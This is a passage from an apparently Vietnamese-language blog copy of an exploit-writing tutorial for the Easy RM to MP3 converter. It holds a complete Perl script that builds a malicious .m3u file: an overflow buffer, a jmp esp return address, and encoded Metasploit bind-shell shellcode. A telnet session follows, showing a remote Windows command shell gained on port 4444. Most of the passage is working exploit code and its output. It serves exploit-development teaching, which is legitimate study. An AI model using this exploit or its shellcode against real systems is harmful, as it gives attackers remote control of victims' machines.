"\x4c\x43\x51\x48\x43\x46\x51\x49\x4b\x45\x34\x4c\x4b\x50" .
"\x43\x50\x30\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x42\x50\x45" .
"\x4c\x4e\x4d\x4c\x4b\x51\x50\x45\x58\x51\x4e\x43\x58\x4c" .
"\x4e\x50\x4e\x44\x4e\x4a\x4c\x50\x50\x4b\x4f\x48\x56\x43" .
"\x56\x50\x53\x45\x36\x45\x38\x50\x33\x50\x32\x42\x48\x43" .
<...>
"\x50\x41\x41";

Sử dụng shellcode này, exploit sẽ như sau:
#
# Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy_Hacker
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
# Greetings to Saumil and SK :-)
#
# tested on Windows XP SP3 (En)
#
#
#
my $file= "exploitrmtomp3.m3u";

my $junk= "A" x 26094;
my $eip = pack('V',0x01ccf23a);  #jmp esp from MSRMCcodec02.dll

my $shellcode = "\x90" x 25;

# windows/shell_bind_tcp - 703 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, LPORT=4444, RHOST=
$shellcode=$shellcode."\x89\xe1\xdb\xd4\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x00\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42" .
"\x4a\x4a\x4b\x50\x4d\x4b\x58\x4c\x39\x4b\x4f\x4b\x4f\x4b" .
"\x4f\x43\x50\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47" .
"\x35\x47\x4c\x4c\x4b\x43\x4c\x44\x45\x44\x38\x45\x51\x4a" .
"\x4f\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x43" .
"\x31\x4a\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a" .
"\x4e\x46\x51\x49\x50\x4a\x39\x4e\x4c\x4d\x54\x49\x50\x44" .
"\x34\x45\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a" .
"\x4b\x4a\x54\x47\x4b\x51\x44\x51\x34\x47\x58\x44\x35\x4a" .
"\x45\x4c\x4b\x51\x4f\x47\x54\x43\x31\x4a\x4b\x45\x36\x4c" .
"\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a" .
"\x4b\x44\x43\x46\x4c\x4c\x4b\x4d\x59\x42\x4c\x46\x44\x45" .
"\x4c\x43\x51\x48\x43\x46\x51\x49\x4b\x45\x34\x4c\x4b\x50" .
"\x43\x50\x30\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x42\x50\x45" .
"\x4c\x4e\x4d\x4c\x4b\x51\x50\x45\x58\x51\x4e\x43\x58\x4c" .
"\x4e\x50\x4e\x44\x4e\x4a\x4c\x50\x50\x4b\x4f\x48\x56\x43" .
"\x56\x50\x53\x45\x36\x45\x38\x50\x33\x50\x32\x42\x48\x43" .
"\x47\x43\x43\x47\x42\x51\x4f\x50\x54\x4b\x4f\x48\x50\x42" .
"\x48\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x50\x50\x4b\x4f\x48" .
"\x56\x51\x4f\x4d\x59\x4d\x35\x45\x36\x4b\x31\x4a\x4d\x43" .
"\x38\x43\x32\x46\x35\x43\x5a\x44\x42\x4b\x4f\x4e\x30\x42" .
"\x48\x48\x59\x45\x59\x4c\x35\x4e\x4d\x50\x57\x4b\x4f\x48" .
"\x56\x46\x33\x46\x33\x46\x33\x50\x53\x50\x53\x50\x43\x51" .
"\x43\x51\x53\x46\x33\x4b\x4f\x4e\x30\x43\x56\x45\x38\x42" .
"\x31\x51\x4c\x42\x46\x46\x33\x4c\x49\x4d\x31\x4a\x35\x42" .
"\x48\x4e\x44\x44\x5a\x44\x30\x49\x57\x50\x57\x4b\x4f\x48" .
"\x56\x43\x5a\x44\x50\x50\x51\x51\x45\x4b\x4f\x4e\x30\x43" .
"\x58\x49\x34\x4e\x4d\x46\x4e\x4b\x59\x50\x57\x4b\x4f\x4e" .
"\x36\x50\x53\x46\x35\x4b\x4f\x4e\x30\x42\x48\x4d\x35\x50" .
"\x49\x4d\x56\x50\x49\x51\x47\x4b\x4f\x48\x56\x50\x50\x50" .
"\x54\x50\x54\x46\x35\x4b\x4f\x48\x50\x4a\x33\x45\x38\x4a" .
"\x47\x44\x39\x48\x46\x43\x49\x50\x57\x4b\x4f\x48\x56\x50" .
"\x55\x4b\x4f\x48\x50\x42\x46\x42\x4a\x42\x44\x45\x36\x45" .
"\x38\x45\x33\x42\x4d\x4d\x59\x4b\x55\x42\x4a\x46\x30\x50" .
"\x59\x47\x59\x48\x4c\x4b\x39\x4a\x47\x43\x5a\x50\x44\x4b" .
"\x39\x4b\x52\x46\x51\x49\x50\x4c\x33\x4e\x4a\x4b\x4e\x47" .
"\x32\x46\x4d\x4b\x4e\x51\x52\x46\x4c\x4d\x43\x4c\x4d\x42" .
"\x5a\x50\x38\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x42\x52\x4b" .
"\x4e\x4e\x53\x42\x36\x4b\x4f\x43\x45\x51\x54\x4b\x4f\x49" .
"\x46\x51\x4b\x46\x37\x46\x32\x50\x51\x50\x51\x46\x31\x42" .
"\x4a\x45\x51\x46\x31\x46\x31\x51\x45\x50\x51\x4b\x4f\x48" .
"\x50\x43\x58\x4e\x4d\x4e\x39\x45\x55\x48\x4e\x51\x43\x4b" .
"\x4f\x49\x46\x43\x5a\x4b\x4f\x4b\x4f\x47\x47\x4b\x4f\x48" .
"\x50\x4c\x4b\x46\x37\x4b\x4c\x4c\x43\x49\x54\x45\x34\x4b" .
"\x4f\x4e\x36\x50\x52\x4b\x4f\x48\x50\x43\x58\x4c\x30\x4c" .
"\x4a\x44\x44\x51\x4f\x46\x33\x4b\x4f\x48\x56\x4b\x4f\x48" .
"\x50\x41\x41";

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

Tạo file m3u và mở, Easy RM to MP3sẽ bị treo:
Telnet đến port 4444
root@bt:/# telnet 192.168.0.197 4444
Trying 192.168.0.197...
Connected to 192.168.0.197.
Escape character is '^]'.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Program Files\Easy RM to MP3 Converter>
Pataboom !
Hãy thử xây dựng exploits cho riêng bạn. Đừng quên làm cho mình một ascii art, lấy một l33t name, và gửi lời chúc cho tác giả: corelanc0d3r








google doc: Read now
------------------------------------------------------------
Thanks for reading
--------------------------------------------------------------------------
All my Lab:
Linux Lab -- window and Cisco Lab
to be continued - I will update more.

No comments:

Install Xposed Inspector and Frida on Genymotion

Today i had some work with android. So i need trace application. I found 2 nice tool can help me: Xposed Inspector and Frida. To setup ther...